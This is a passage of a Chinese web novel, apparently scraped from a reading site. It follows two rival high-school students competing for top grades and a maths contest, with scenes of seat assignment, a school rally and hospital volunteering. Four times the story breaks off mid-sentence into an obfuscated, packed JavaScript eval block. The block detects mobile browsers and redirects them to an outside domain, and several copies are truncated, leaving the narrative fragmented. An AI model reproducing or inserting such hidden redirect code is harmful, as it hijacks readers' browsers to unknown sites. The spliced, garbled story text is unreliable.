“不过,这份优越感并不是牢不可破的。纪兄——”张朝目光灼灼地盯着纪小鱼,“关键就在于你!” “啊?我吗?”纪小鱼指着自己的鼻子,尴尬地眨了眨眼睛。 “纪兄,你是他最大的对手,你对他的意义是非同寻常的!”张朝眼里的热切几乎要将纪小鱼吞没。 “哎呀……”纪小鱼不由地向后退了一小步,一边伸开十指在空气中摁了摁以示安抚。他干巴巴地笑着打岔道,“你先别那么激动……” “只有你能做到!只有你能给他最致命的一击!只要你可以打败他一次!一次就足矣!”张朝显然没有把纪小鱼的话听进去,他咬着牙,脸上带着隐约的、狰狞的笑,声线中甚至有一丝失控的颤抖,“一次,就足以击穿他全部的信心,摧毁他膨胀的优越感,让他不败的神话彻底破灭!让他怀疑自己,让他极度不安,让他感到痛苦,让他失去成功的惯性!而纪兄,你将踩着他,取代他,成为S中新的王!” “好的,”纪小鱼被张朝声情并茂的游说打动了,“张兄,我会加油打败他的。” 缓了缓,纪小鱼又跟着严肃地补了一句,“不用你说,成为S中新的王,这本来就是我一直以来的小目标!” “纪兄,事不宜迟,”张朝的脸上泛起虚浮的笑容,“我有办法,让你立刻、马上就可以打败他。” “啊?这么好?”纪小鱼惊讶地看着张朝胸有成竹的模样——咦?难不成张兄真的得到了什么立竿见影的学习秘籍? 张朝合起折扇,在掌心一拍,“我可以弄到这次开学考试的题目和答案。” “呃……” 就这啊…… 纪小鱼刚支愣起来的心情又立马变得软趴趴的了。 嘿呀!怎么就不能相信,他完完全全能靠自己的真才实学考过何非亮呢?张兄这话说的,多少是有点把人给看扁了吧! 像在肃杀的风里雨里走。脚踩着古旧沧桑的青石板砖,路面的裂纹处有经年累月的苔藓。 前方是一片灰白漂泊的荒芜地,裹着白云和雾气;而他是黑衣的独行客,弯月猎刀悬于腰间,刀在鞘中震动,欲试锋芒。 他要去一个地方,赴一场宴。 席间有月色接连雪色,有刀光绝杀剑影,分山斩海,落英缤纷。 他要去赴一场约,一场顶峰相见的约。 神话总会落幕,新王终会登基。 这条路注定是孤单的,如同宿命。 这条路也注定是公义的。 大战的最后,会有一片斑驳的枯叶在身后如执念般飘忽落地,有如尘埃落地,有如一声叹息。 这样子赢了,才算是不辜负自己这么多年的努力。 唉,人生——总有一条路是要挺直脊背往前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328611|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 哎呀,张兄,你难道不知道——我纪小鱼也是有骄傲的嘛! “题目和答案绝对保真!月考的、期中考的、期末考的都可以有!”张朝不明白纪小鱼为什么不像他预想的那样激动地答应,反而直愣愣地看着他欲言又止——纪小鱼不是很想赢吗?难不成是怀疑他拿到题的手段和能力么? “张兄,”纪小鱼的眸光微微一动,又恢复了往日欢快的生机。他大大咧咧地拍了拍张朝的肩膀,“你那个……此言差矣啊!学校的考试算什么嘛?数学竞赛才牛逼对吧?咱们格局要大!目光要长远!嘿,你等着瞧吧,这次数学竞赛我肯定赢他!真不是吹牛,我已经有了十成十的把握!” “……” “哎呀,别担心啦,张兄!你稍安勿躁、稍安勿躁!”纪小鱼朝张朝挤了挤眼睛,曲起拳头捶了捶自己的胸膛,“是兄弟就信我!真的!我现在数学强得可怕!” “拜啦!我赶着回家呢。”纪小鱼轻快地转过身,走了几步以后,在走廊的拐角前回过身来,望向立在原地不动的张朝,伸出并拢的食指和中指在额角一按一抬,笑道,“多谢你提醒我还有开学考这件事情,我差点忘了!” “诶,张兄!”纪小鱼不忘回身扯着嗓子叮嘱道,“凡事三思而后行啊!别犯糊涂!稳重一点!千万、千万不要铤而走险啊!不值得的!” - 时间一天一天过去,日子逐渐步入正轨。在S中正式开学的前夕,严老师大发慈悲地给他们放了假。也正是在这一天临近傍晚的时刻,纪小鱼收到了妈妈的短信——“我到家了,你可以回来了[微笑]”。 “诶,我要走了。”纪小鱼看着手机,隔着拖鞋踹了踹何非亮的脚尖。 “哦,再见。”何非亮看上去完全没有一点挽留的意思。 “哼,再见!” 纪小鱼气鼓鼓地上楼收拾行李——也不知道哪里来的气。 好像也没有什么东西要收拾…… 纪小鱼拎着个半空的帆布袋,又气鼓鼓地下来了。 何非亮仍然坐在刚才的位置,慢条斯理地拈着书页的一角,把书翻去了下一页。看上去还挺专注的。 “喂,你在看什么书?” 何非亮头也不抬,半掩着书迅速地扫了眼封面,又重新摊开,“朱光潜的《谈美》。” “哦,我走了!” “慢走不送。” 纪小鱼非常大动作地打开门,站在门外停了停,最后一次抬眼看了看没反应的何非亮,“砰”的一声把门彻底关上了。 长长的走廊里,地上有一团影子,墙上也有一团影子。地上的看上去更扁圆一点,墙上的看上去更修长一点,不过都是纪小鱼的影子。 电梯张大了嘴巴,墙上的影子不见了,地上的影子也变得透明。 电梯把嘴巴闭上,两个影子就又回来了。 纪小鱼看着自己的影子发了一会呆。 寂寂得闭着的门和墙嵌在了一起,像一个倒扣着的相框。 门与墙之间没嵌得太牢,缝隙间忽然漏出了钢琴声—— 一遍《霞光》; 一遍又一遍的《克罗地海洋》。 “喂,何非亮!开门开门开门!”纪小鱼急促地摁了好几遍门铃。他觉得自己的心里有什么东西在横冲直撞,像一个突然漏气乱飞、不受控制的气球。 钢琴声停了一会以后,门向后拉开了。 何非亮微微地站在那里,一圈晕黄绕在他的身边,是玄关顶投下的灯光。他伸出五指捂着嘴,懒懒地打了个呵欠。 “怎么了?落东西了?你发个消息,我明天帮你带去学校不就得了?又回来干嘛?” “我妈妈喊你去我家吃饭!”纪小鱼站在门口,心里的气球镇定了下来。他曲起食指抹了抹鼻尖,别扭地移开了和何非亮对视着的目光,“不然的话,我才懒得理你呢!” “……” “喂!”纪小鱼又把眼神转了回来,凶巴巴地对着何非亮囔囔道,“不许拒绝!不然、不然我妈妈会生气!” “好。” 77.第七十七章 近猪者赤 正式开学的第一天,又到了重新排座位的日子。 根据S中校规第一百三十二条:成绩好的同学优先挑选座位,成绩差的只能选剩下的。 高二A班的同学们聚在教室外,按照上学期期末考试的名次排起长队。 哼,烦死了,又得让何非亮先选了。 唉,上次期末考试,要是能多考个几分就好了。 想想看,那个总分,也就比何非亮,低那么一分而已! 嘿呀,如果不是一时疏忽,忘记了给我的绝世好文添上标题……噢,我的绝世好文,怎么能没有一个标题! 啊!痛! 一种不能呼吸的痛! 死去的记忆卷土重来,纪小鱼痛苦地捂住了心脏,被各种沮丧和懊恼的情绪围攻,过了好一会儿才终于缓和了过来。 他闷闷不乐地撇了撇嘴,目光不善地望向了正好整以暇站在门框边、一脸云淡风轻的何非亮—— 切,他就好了,每次要排队的时候,从来不用费心找位置,只需要轻轻巧巧地往门边一靠,其他的同学就只能以他所在的地方为队首,自觉地跟着往后排。 嘿呀,凭什么每次都是他得第一啊?苍天啊,我平日里付出的努力也并不少啊!拜托偶尔也关照关照我呗,让我也拿一次第一名吧!/(ㄒoㄒ)/~~ 何非亮也看见了纪小鱼,他故作热心地点了点自己身后的位置,招呼道,“小鱼,来,你排这。” “哦。” 纪小鱼下意识地应了一声,大脑却跟着立马响起了警报。 等等! 有情况! 这几个字平平无奇,凑在一起,听上去滴水不漏,却实际暗藏玄机。 经常阅读理解拿满分的同学就能很快地分析出来,这句话:(1)表面上是在热心地给纪小鱼指出他要站的位置,并且亲切地招呼纪小鱼过去(3分);(2)实际上则是在讽刺纪小鱼成绩不如自己,只能排在自己的后面(3分)。 嘶,这——这也未免太嘲讽了吧!!! 可恶,可恶!真是太可恶了! 纪小鱼默默地在心里把何非亮狠狠地踩上了好几脚,可嘴上却偏偏无力反驳——学校如同战场,全凭实力说话。谁让自己期末考试的分数,就是那么的不争气呢! 唉,“现实”这俩字,前面总是冠上“残酷”作为修辞。但所有的忠告都教人要勇敢地去面对。 面对是第一步,接下来是征服! 等着瞧吧!我是不会认输的! 纪小鱼握紧双拳走了上去,龇牙咧嘴地站定在了何非亮身后的阴影里。 …… 这一次排队的时间比往常要久得多。直到现在,仍然还有一小群同学在迷迷糊糊地四处寻找自己的排序。 纪小鱼等得无聊,用手指比了个枪,眯起一只眼背地里朝身前的何非亮近距离射击了几枪,可惜毫无杀伤力。于是,他眼珠一转,一条妙计忽然降临在了他的脑海中。 纪小鱼从口袋里小心翼翼地摸出一沓便利贴,鬼鬼祟祟地压在窗沿上写写画画。 窗户上朦朦胧胧地倒映着他脸上不怀好意的笑容。 “什么事笑这么开心?”何非亮不知道什么时候转过了半边身子看向他。 “没、没什么!”纪小鱼连忙用手掌把便利贴盖了起来,虚张声势地朝何非亮摆出了凶狠的架势,“有也不关你的事!你、你管不着!” 此举欲盖弥彰,看上去心虚得恨。何非亮双手抱臂,不慌不忙地垂着眼注视着他,目光中带着隐约的戏谑与玩味,“哎呦,小鱼,你妈妈昨天,可是让我在学校里多多关照你一下呢。” “你听错了。”纪小鱼板着脸回应。 嘿,真气人! 何非亮不提也就罢了,一提纪小鱼简直要酸死了。 怎么说呢?这事情想到就觉得心里不平衡!昨天妈妈对何非亮的态度,那叫一个殷勤备至、和蔼可亲、温柔慈爱、包容体贴。简直是纪小鱼十几年来都没有享受过的好待遇!不知道的还以为何非亮是亲生的,自己是捡来的呢! “哦,是吗?”何非亮对纪小鱼的话提出质疑。他挑起半边眉毛,慢条斯理地从口袋里摸出手机,“那我打个电话,和你妈妈确认一下。” “诶诶诶!别!” 好一出声东击西!就在这一分神的间隙,何非亮成功地把便利贴从纪小鱼的手心底下抽了出来。 “诶!?”纪小鱼大惊失色,“还我!还我!喂!” 但——太迟了!何非亮显然已经一目十行地读完了上面的内容。 便利贴上画着一个泪眼汪汪的猪头,外加一行小字“拜托了,请叫我【可爱小猪】吧”。 何非亮:“……” 纪小鱼:“……” 大势已去,纪小鱼也说不出话了。他忸怩地站在原地,双手尴尬地背在身后,有一下没一下地转动着手里的笔。 “啧,”何非亮探究地直视着纪小鱼的双眼,脸上浮起了一丝意味深长的笑容,“小鱼,哦不,以后是不是该叫你小猪了?啧啧啧,想不到你竟然有这方面的爱好。” “胡说八道!”纪小鱼老脸一红,“这是我本来要贴在你背后的!” “哦?”何非亮脸上的笑容更深了,似乎在说——哎呦,好大的胆子! “安静!大家安静一下!” 还好严老师及时出现——显然,从她拧紧的眉头可以看出来,她对此时此刻A班门口的这一团混乱表示很不满意,“我刚才从办公室一路走出来,经过别的班,看见他们都已经排好座位,安安静静地在自习了。你们怎么还没搞定?这效率也未免太低了吧?不是我说,你们如今已经是高二下学期的学生了,每一分每一秒都非常宝贵、非常关键!容不得你们这样子去浪费!” “纪小鱼,”严老师眼刀一横,“你是副班长,你来组织一下纪律。我去文印室给你们拿一份卷子来写。” “啊,我吗?”纪小鱼讪讪地走出队伍,心里暗自嘀咕——这种苦差事,怎么不叫何非亮。 还好,他心里已经有了计策。 队伍排这么久是有原因的,主要是由于这次开学,按照成绩变动重新分了班。 A班新加入了一些其他班的佼佼者,也走了一波不幸考差的老同学,还有几个是像蒋小胖那样,自立门户,潇潇洒洒读文科去了的。更有一个同学因为学习压力太大,暂时性地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嗯,看来又可以继续近距离地打探情报了! 我宣布——【知己知彼,逆袭到底】行动继续! 事不宜迟,先打探一下这家伙在看什么书…… “诶,何非亮,”纪小鱼侧过头,手腕支撑着下巴,目光好奇地琢磨着何非亮侧脸的弧度,“你的脸为什么有点红啊?啧,你不会在看什么……了不得的东西吧?” “确实了不得。”何非亮朝纪小鱼翻了个巨大的白眼。他掩上书页,把书的封皮展示给纪小鱼看——《笛卡尔几何》。 “至于脸红——”何非亮停顿了一下,似乎若有所思,“你有没有听说过,近朱者赤,近墨者黑?” “啊?当然听过。” “我脸红,”何非亮意味深长地笑了笑,“是因为我离你这只‘可爱小猪’太近了。呵呵,近‘猪’者赤啰~” “啊啊啊啊啊啊!”纪小鱼疯了,他抡起自己的水瓶,“何非亮,我和你拼了!!!” 78.第七十八章 百日誓师 星期一的开场照例是张校长的讲话。特别的是,这一天恰好是高三年级的高考百日誓师大会。为此,张校长深情而激动地拔高了嗓音,几乎让人察觉到其实是张校长自己特别想去高考考场上大显身手、为校争光了。 围观群众纪小鱼掐指一算——哎呀呀!不得了,时间怎么过得这么快呀! 这么说来,一百加三百六十五等于四百六十五……这岂不是意味着,自己离高考,只剩下区区四百五十六天了吗!? 天啊,留给自己打败何非亮的时间不多了呀!要和时间赛跑了呀! 嗯,是时候拟定第四百二十七期作战计划了…… 就在纪小鱼用心筹谋的工夫,又上来了两名学生代表发表演讲。其中一位是高三A班的一名小同学,他的语调俨然有着和张校长如出一辙的慷慨激昂,内容上却暗暗引用了一些了不得的话语,诸如“为了更美好的明天而战[1]”、“胜利女神在微笑[2]”、“我的命运,由我做主[3]”云云。 另一位代表的声音则显得从容不迫、慢条斯理,话里显露出处变不惊的镇定和淡然,甚至还有一点熟悉的亲切…… 人群中处处浮动着骚动和悸动,还有窃窃私语般情不自禁的赞叹——“天啊,好帅啊”,“拜托了,可不可以每天都是他来讲,我会幸福死的”,“呜呜呜,完蛋了,因为他我竟然不想毕业了”…… 纪小鱼:“???” “喂,搞什么!”纪小鱼气急败坏地遥望向拿着话筒侃侃而谈的何非亮,“他不是高二的吗,他上去装什么逼哦?” “张校长请班长给高三年级的同学介绍学习经验呢。”站在纪小鱼身边的吕天明似懂非懂地说,“不过,班长的重点好像放在‘如何在关键时刻,保持良好的学习心态’上面了。” “切!”联想到从小到大因为何非亮而心态崩溃的瞬间,纪小鱼从鼻腔里喷出气愤的浓烟,“他懂什么心态!他最多只会搞人心态罢了!阴险!虚伪!臭不要脸!势不两立!气死我了!” “高二A班,纪小鱼,晨会期间开小差、讲小话,班级纪律扣十分。”学生会的小同学扶了扶眼镜,铁面无私地递来一张扣分通知书,“来,签个字吧。” 纪小鱼两眼一黑——根据校规的第一百七十六条,这意味着他今天下午放学要留下来打扫班级教室了。扫地、抹地、擦黑板、摆桌子、倒垃圾…… 救命啊,这样一来,好不容易想好的作战计划又要被打乱了!这种感觉实在是太痛苦了! 啊啊啊啊啊,都怪何非亮!!! - 放学前的倒数五分钟,便利贴顺着座位一排排地下发。 根据严老师的吩咐,每个人都要写点什么东西,鼓励鼓励即将踏入高考战场的学长学姐们。 纪小鱼叹了口气,想到等会还要搞卫生,难得的有点打不起精神来。 至于高考寄语么……老师不是成天说,考完了就解放了吗?唉,那就先提前恭喜他们一下吧。 于是纪小鱼借用了陶渊明的诗句,慢吞吞地写下了这么一句—— “久在樊笼里,复得返自然[4]。” 纪小鱼默默地看着这句话,自己先发了一阵呆。 可是哦……如果说学校是一座“樊笼”,那毕业了,就真的能够“复得返自然”么? 还是说……其实只不过是去到另一座“樊笼”里呢? …… 座位旁忽然传来一声轻笑,“小鱼,大家写的都是什么‘十年磨剑,高考加油’,你写得倒是格外与众不同。” “喂!”纪小鱼一把捂住了自己的便利贴,怀着敌意瞅向何非亮,“你干嘛偷看我写的哦!” “我是班长诶,”何非亮手里掂起一沓其他小同学们递交上来的便利贴,毫无愧疚之意地说道,“你们写的东西,最后都要交给我审核的。” “哼,那好吧。”还真是官大一级压死人,纪小鱼不情不愿地挪开了自己压在便利贴上的手,脸上的神情说变就变,一下子就又喜笑颜开了起来,“诶,你不是要审核吗?那你倒是看看我写得好不好啊?呵呵,是不是太好了,刺痛到你浅薄的双眼了?啊哈哈哈哈!” 何非亮大概已经修炼出了耳朵自动过滤的功能,此时此刻竟然面不改色地回答道,“还不错,算是一个美好的祝愿。” “那你觉得……嗯,我就是考考你罢了……”纪小鱼吞吞吐吐地问出了心底的疑惑,“听好了哦——你觉得,那个,事实上,毕业了以后,真的可以‘久在樊笼里,复得返自然’么?” “你问我啊?”何非亮懒散地托着下巴,“大概人生的每个阶段,都有要面临的困局吧。” “哦,”纪小鱼有点闷闷不乐,“所以就是不能啰?” 何非亮不置可否,继续道,“有句话说的是‘胸有块垒,世间皆是不平路’,那么我想——心在樊笼,整个世界亦成了巨大的樊笼,当然避无可避。” “可是——如果心不在樊笼呢?”何非亮看着纪小鱼困惑的脸,忽然近乎温柔地扬了扬唇角,“小鱼,高墙厚壁可以关住一个人,却阻止不了思想的延伸;没有飞机的时候,人照样可以想象自己像飞鸟一样翱翔;目尽青天怀今古,眼界便可以拓展至更深更远的历史长河中。所以我想,自由的意志或许能让人不受困于樊笼吧。” “很多时候,是人自己在画地为牢,你说对吗?” “也……也许吧。”纪小鱼鬼使神差地竟然忘记了唱唱反调。 好像……是有那么点道理……但,还是有点捉摸不透的感觉…… 纪小鱼若有所思地拿起笔,犹豫了一会,终于在便利贴上又填补下了一行带括号的小字——“ps. 不过,即使身在樊笼,也可心存天地哦~^_^”。 身在樊笼,心存天地。世界还是世界,樊笼却不足以成为羁绊。 啊,对呀,艺术节的时候,小胖他们演的那个节目《哈哈哈姆雷特》里,不也有这么一句台词么——“身在果壳之中,也自以为无限空间之王[5]”。心大概真的可以是世界的延伸吧。 哼,何非亮这家伙……平日里肯定是偷偷摸摸地积累了不少写议论文的素材,才能一下子就想出这样好像有点道理的道理! 不过…… 纪小鱼眼角的余光忽然瞥见了何非亮桌上仍是空白一片的便利贴,立马就兴奋了起来,赶紧抓住机会讥笑道,“嘿呀,你怎么还没写啊?不会是肚子里没墨,啥也写不出来吧?” “呵,一天能写一万句。” 何非亮悠然提笔,字迹潇洒漂亮—— “一点浩然气,千里快哉风[6]。与诸君共勉。” - “你好,抬脚,扫瓜子皮。”纪小鱼一手拖着扫把,一手拎着簸箕,在教室里四处逡巡。 “诶,小鱼,”何非亮眼里闪动出了些许揶揄的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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G·波利亚的《怎样解题》已经反复研读完毕;最近又从中心书城进货了《解题漫谈》、《我怎样解题》、《解题研究》,以及《数学方法论十二讲》这几本宝书;高手兄推荐的《从孙子的“神奇妙算”谈起》肯定也是必读的,并且优先级还要往前面放一放……噢,这些还只是数学方面的! 哎呦,我好忙哦! 听说有一种鸟没有脚,无法停歇,只能够一直飞啊飞;我纪小鱼明明长了脚,怎么还整天忙个不停呢? 有时候,真想安安静静地,趴在栏杆上,看看夕阳是怎样一点一点落下的…… 夕阳落下的时候没有声音。纪小鱼接好了一满桶水,提着走回教室。 窗帘在微敞开的窗边别有韵律地浮动,木质的桌面上跳动着余晖的蔓延。这个点,同学们像往常一样,都已经跑去吃晚饭了,空荡荡的教室里流淌着一种灵明洞彻的寂然。 在倾斜而入的光线下,纪小鱼拉长的影子,和另一道身影,在墙面的折角处会合。 “你在干嘛?”纪小鱼问站在讲台上、正向下俯瞰的何非亮。 “检查卫生。” 桌椅整齐,黑板无尘,和刚才走出教室比,俨然有了新打扫过的痕迹。 “喂,我又没让你帮我。”纪小鱼小声嘟囔道,“你不要多管闲事。” 再一看,教室后门的垃圾桶也已经空了。 纪小鱼:“???” 啊咧!?何非亮会分身术吗?怎么我才去厕所接个水的工夫,他这些就全都搞定了???啊?真的假的,地板也是湿的?救命啊,空气里还飘散着一点消毒水的味道,该不会是地也已经拖好了吧??? 何非亮气定神闲地一笑,“垃圾是卓影倒的,他跑得比较快。桌子是记者社的小同学摆的。地也已经拖好了。作为交换,我同意了他们下一期校刊的封面,可以使用我们的照片。” “啊?我们?”纪小鱼呆呆地握着拖把的红杆,放在一旁的水桶自下而上倒映出了他滑稽的神情。 “谁让你坐在我旁边呢,”何非亮故作无奈地耸了耸肩,双手懒懒散散地伸出拇指和食指,框出了一个照相机的样子,把纪小鱼放在了里面,“他们可能只是想拍我,但是总有那么几张,你就不小心入镜了,是吧?” “噫~有你照片的校刊?”纪小鱼夸张地向下撇了撇嘴,嫌弃道,“我才不会买咧!啧,真遗憾,记者社要失去我这个大客户了。” “哦,这个不用担心。”何非亮淡定道,“他们说可以送你一本。” 79.第七十九章 同桌的你 高二下的开端是春天的底色,草长莺飞,万物复苏,按道理来说应该是新的篇章。可距离开学又过了两个月,何非亮依然令人鄙夷地霸榜着年级第一,并且得寸进尺,死皮赖脸地劝纪小鱼平时学习不要太卷。 “小鱼,”何非亮恬不知耻地把手机调成了自拍模式伸到了纪小鱼得面前,嘴里冒犯道,“你看,你最近的黑眼圈越来越大了,要多注意休息哦。” “呵呵。” 对此,纪小鱼情不自禁地朝何非亮扭曲了拇指、食指、无名指和尾指。 “哎呀,小鱼,你这个样子——”何非亮的眼底流露出了一丝不怀好意的促狭,他顺手给纪小鱼拍了张照片,然后有恃无恐地晃了晃握在手里的手机,笑眯眯地威胁道,“啧,要是被妈妈知道了的话——” “噫!你别冲动!有话好说、有话好说!” 纪小鱼被吓得一个激灵,连忙收手,露出了奉承的假笑。 可是他的心里才没有就此善罢甘休,而是—— 三! 二! 一! 战歌起! “ 你总是轻描淡写告诉我要放轻松 还说你平时学习其实没有太用功 这世界总有许多不可思议的装逼 比如你蝉联第一 还说这全靠运气 你真的很欠扁 讲这话很讨厌 我看着你的脸 手痒了好几遍 忍了你十几年 有时候想发癫 想把你摁地上 狠狠摩擦 就这样一心一意孤独地征战 才不管前路到底有多少阻拦 打败你这件事不可能有退路 我绝不认输 你最好祈祷你的好运可持续 别让我逮到机会把你给征服 不让你意识到这世界的残酷 我就是只猪 你是我日思夜想渴望打败的宿命 也是我夙兴夜寐想要成就的梦想 这世界因为有你不敢辜负好时光 我们俩终有一战 我感觉你要完蛋 ……[1] ” 书山有路,题海可渡。 一根根笔芯在纪小鱼的手上油尽灯枯,化作了增长的修为。 “小鱼。”何非亮用手支撑着下巴,似笑非笑地瞅着他,“你认真的样子像极了你的表弟,一个字——帅。”一边说着,还一边竖起了一个阴阳怪气的大拇指。 “切!”纪小鱼没好气地回应到,并且朝何非亮翻了一个真情实意的白眼,“随你怎么夸,这次数学竞赛我都是不可能给你放水的。” 数学竞赛的初赛成绩刚出,纪小鱼轻松地拿了满分,此时正是自信心爆棚的时刻(虽然何非亮也是满分)。他一边狂妄地大笑,一边肆无忌惮地拍了拍何非亮的肩膀,“哎呀,你还是趁早接受现实吧——依我看,你的第一名很快就要保不住啰!” “真的假的?”何非亮胸有成竹地笑了笑,“这样吧,放水不必,打水吧。输了的人,帮对方打一个学期的水,怎么样?” “行啊。”纪小鱼一口答应,“不过,事先说好,也别拖到什么决赛了,就下下个星期的复赛见真章吧!” “哎呀,”纪小鱼的眉梢微微扬起,似乎已经有了点大战前夕的兴奋,“我都有点等不及了。” 何非亮漫不经心地“嗯”了一声,随及又颇为欠扁地补充了一句,“你这么急着想帮我打水,该不会是——我的粉丝吧?” “你!你好自恋呐!我、我怎么可能——”纪小鱼气得一时语塞,缓了半天才咬着牙,不怒反笑道,“嘿,行,就先让你再多得瑟几天!不过,我友情透露一下,我现在强得可怕!” 何非亮抬眸,似笑非笑地打量了纪小鱼一会,然后不咸不淡地“哦”了一声。 回到家以后,纪小鱼立马拉来了高手兄和他站在同一阵线。不得不说,高手兄还真是够给力的,隔三差五地总能给他发来一大波极具参考价值的好书和好题,其涉猎的广度和思想的深度令纪小鱼叹为观止。 更重要的是,每当纪小鱼见缝插针地说起“我一个朋友的同桌”的坏话时,高手兄也总是非常公道地站在纪小鱼“朋友”的这一边,并且鼓励这位“朋友”要恪守初心、砥砺前行。 日子就这样一天天充实地过去。 数学集训更加紧锣密鼓,每一天都在为更加迫近的比赛冲刺。 语文老师近来把纪小鱼的作文当成了“新宠”,但同时也表示纪小鱼的字体还需要再多向何非亮学习学习。 化学老师依然操着不太不标准的普通话,把纪小鱼叫做“纪朽鱼”,当然,也一视同仁地把何非亮念成“何灰亮”。 蒋小胖时不时地从文科班溜回A班,送来些零食和纪小鱼一起分享。 “小鱼,”蒋小胖看着纪小鱼不费吹灰之力就帮忙解出了困扰了自己一整节晚自习的数学题,情不自禁地赞叹道,“你真的好聪明哦!其实,第一次看见你的时候,我就觉得你好像会发光诶!嘿嘿,现在咱们已经认识这么久了,可以把‘好像’两个字去掉了。” “啊?”纪小鱼不好意思地搔了搔脸,“这么说,你觉得我会发光啊?” “嗯!”蒋小胖郑重地点头。 “那——那你觉得何非亮会发光吗?”纪小鱼对这个话题来了兴趣,他一边搔首弄姿,一边充满期待地问道,“咳,如果你觉得会的话也没关系,但是你好好想想,认真地想一想,究竟是我发的光更亮一点呢,还是他发的光更亮一点?” “这个啊……”蒋小胖挠了挠头,思索片刻以后,终于犹豫地开口道,“应该还是学神哥哥发的光更亮一点吧?毕竟他的名字里有个‘亮’字对吧?” “不对、不对!”纪小鱼气呼呼地反驳道,“怎么能这样想呢?那个——何非亮的‘亮’字前面还有一个‘非’呢!连在一起明明就是‘不亮’的意思!” “啊?”蒋小胖眨了眨眼睛,无辜地说,“哎呀,我以为‘非’是‘非常’的意思耶……” “哼!纪小鱼不吭声了,委屈巴巴地坐着生闷气。 “哎呦,”何非亮伸手在纪小鱼软软的头发上薅了一把,像哄孩子一样温柔地安抚道,“没关系的,输给我又不丢脸。” 嘿! 诸位瞧瞧,什么叫低情商的发言? 这个就叫做低情商的发言! 何非亮的话完完全全地起到了反效果,再加上蒋小胖还在一旁“对呀、对呀”的应和,直接把纪小鱼气到大脑缺氧,简直要晕过去了。 可是,令纪小鱼万万没想到的是,就他和何非亮都这种关系了,记者社的小同学竟然还能吹出一串唯美的彩虹泡泡!?啊,这实在是太不可思议了! 最新一期的校刊封皮赫然便是好几张纪小鱼和何非亮同坐在教室座位上的照片—— 窗外,是川流不息变换的画,清爽的蓝空,光暖的午后,铺张的晚霞,屋宇似琉璃的夜晚……窗里,是恰同学少年,低着头写自己的未来和梦想。 照片的聚焦之处,纪小鱼隔着一个座位在窗边保持着奋笔疾书的姿态。从天将明未明,到太阳沉落,再到晚灯亮起,都只给镜头留下了一个紧绷倔强的背影。 而照片中的另一个主人公何非亮,则是显露出了截然不同的松弛。他悠悠闲闲地坐在纪小鱼的身边,有时趴着睡觉;有时低垂着眉眼,懒懒地翻一翻手边的闲书;有时饶有兴味,观赏似的打量着纪小鱼像打了鸡血般地刷题。最吸睛的要数何非亮侧过脸伸手摸纪小鱼头的那张了——夕阳的余晖中,他的目光似乎闪动着温柔的缱绻。 这一次,记者社一改浮夸狗血的文风,只简简单单地写上了四个字作为标题——“同桌的你”。 哎呀呀,又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359078|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一期卖爆了的校刊! 这些天频频派人去A班埋伏蹲守的努力总算是没有白费! 卓影数算着记者社社团经费不断上涨的余额,表示非常得满意。 “我宣布——纪小鱼以后就是我们社的‘锦鲤’了!大家把他和何非亮的一举一动给盯紧了,咱们每个月的聚餐那就都有着落了!来吧,让我们为纪小鱼和何非亮鼓鼓掌吧!” 掌声雷动,经久不息。 …… 纪小鱼并不知道有那么多人在为他鼓掌,他做好事一向不留名。在周末,他仍然抽空去医院做了一次义工,给住院部的小朋友们补习功课,并且夹带私货,悄咪咪地从家里给小朋友们带来了几本自己小时候最爱看的热血漫画——嘿嘿,他的受欢迎程度突然就有了和一起前来的何非亮平起平坐的趋势。 只不过,到处都没有看见林茉茉的身影。 有知情的小朋友告诉他,林茉茉今天刚好动手术去了。 “手术中”的红灯依然亮着。手术室门前冰凉的长椅上,林寂和他的父亲坐在那里。 两个人都微低着头,一个弯着腰写放在腿上的作业,一个十指交叠垂于膝上似在沉思;两个人都一言不发,紧抿着唇,神情如寂寥的湖水,半张脸埋在背光的影里。 他们侧脸棱角分明的弧度乍一看如出一辙,可细看终究是隔着泾渭分明的年岁。林寂的皮肤仍有少年人的光泽,头发像刺猬一般生机而黝黑,而他的父亲已显露出苍老的迹象,满眼疲惫,满头青霜。 纪小鱼想了想,直觉现在并不是什么上前打招呼的好时机,拉着何非亮又悄悄地退了回去。只是在临走前,在林茉茉空着的病床旁留下了漫画和字条。 字条上写道—— 「上次你问我,“如果世界上没有光了怎么办?”这可真是一个深奥的问题。 下面是我的答案: 如果真的遇到了这种情况,也仍然不要放弃对光的盼望吧。 太阳熄灭了,有星星。 星星熄灭了,人类还可以用自己发明的灯。 灯也熄灭了,可以生火。 什么都没有的时候,也许再坚持一下,可以等来一只萤火虫呢? 总有办法,让世界重新亮起来的。」 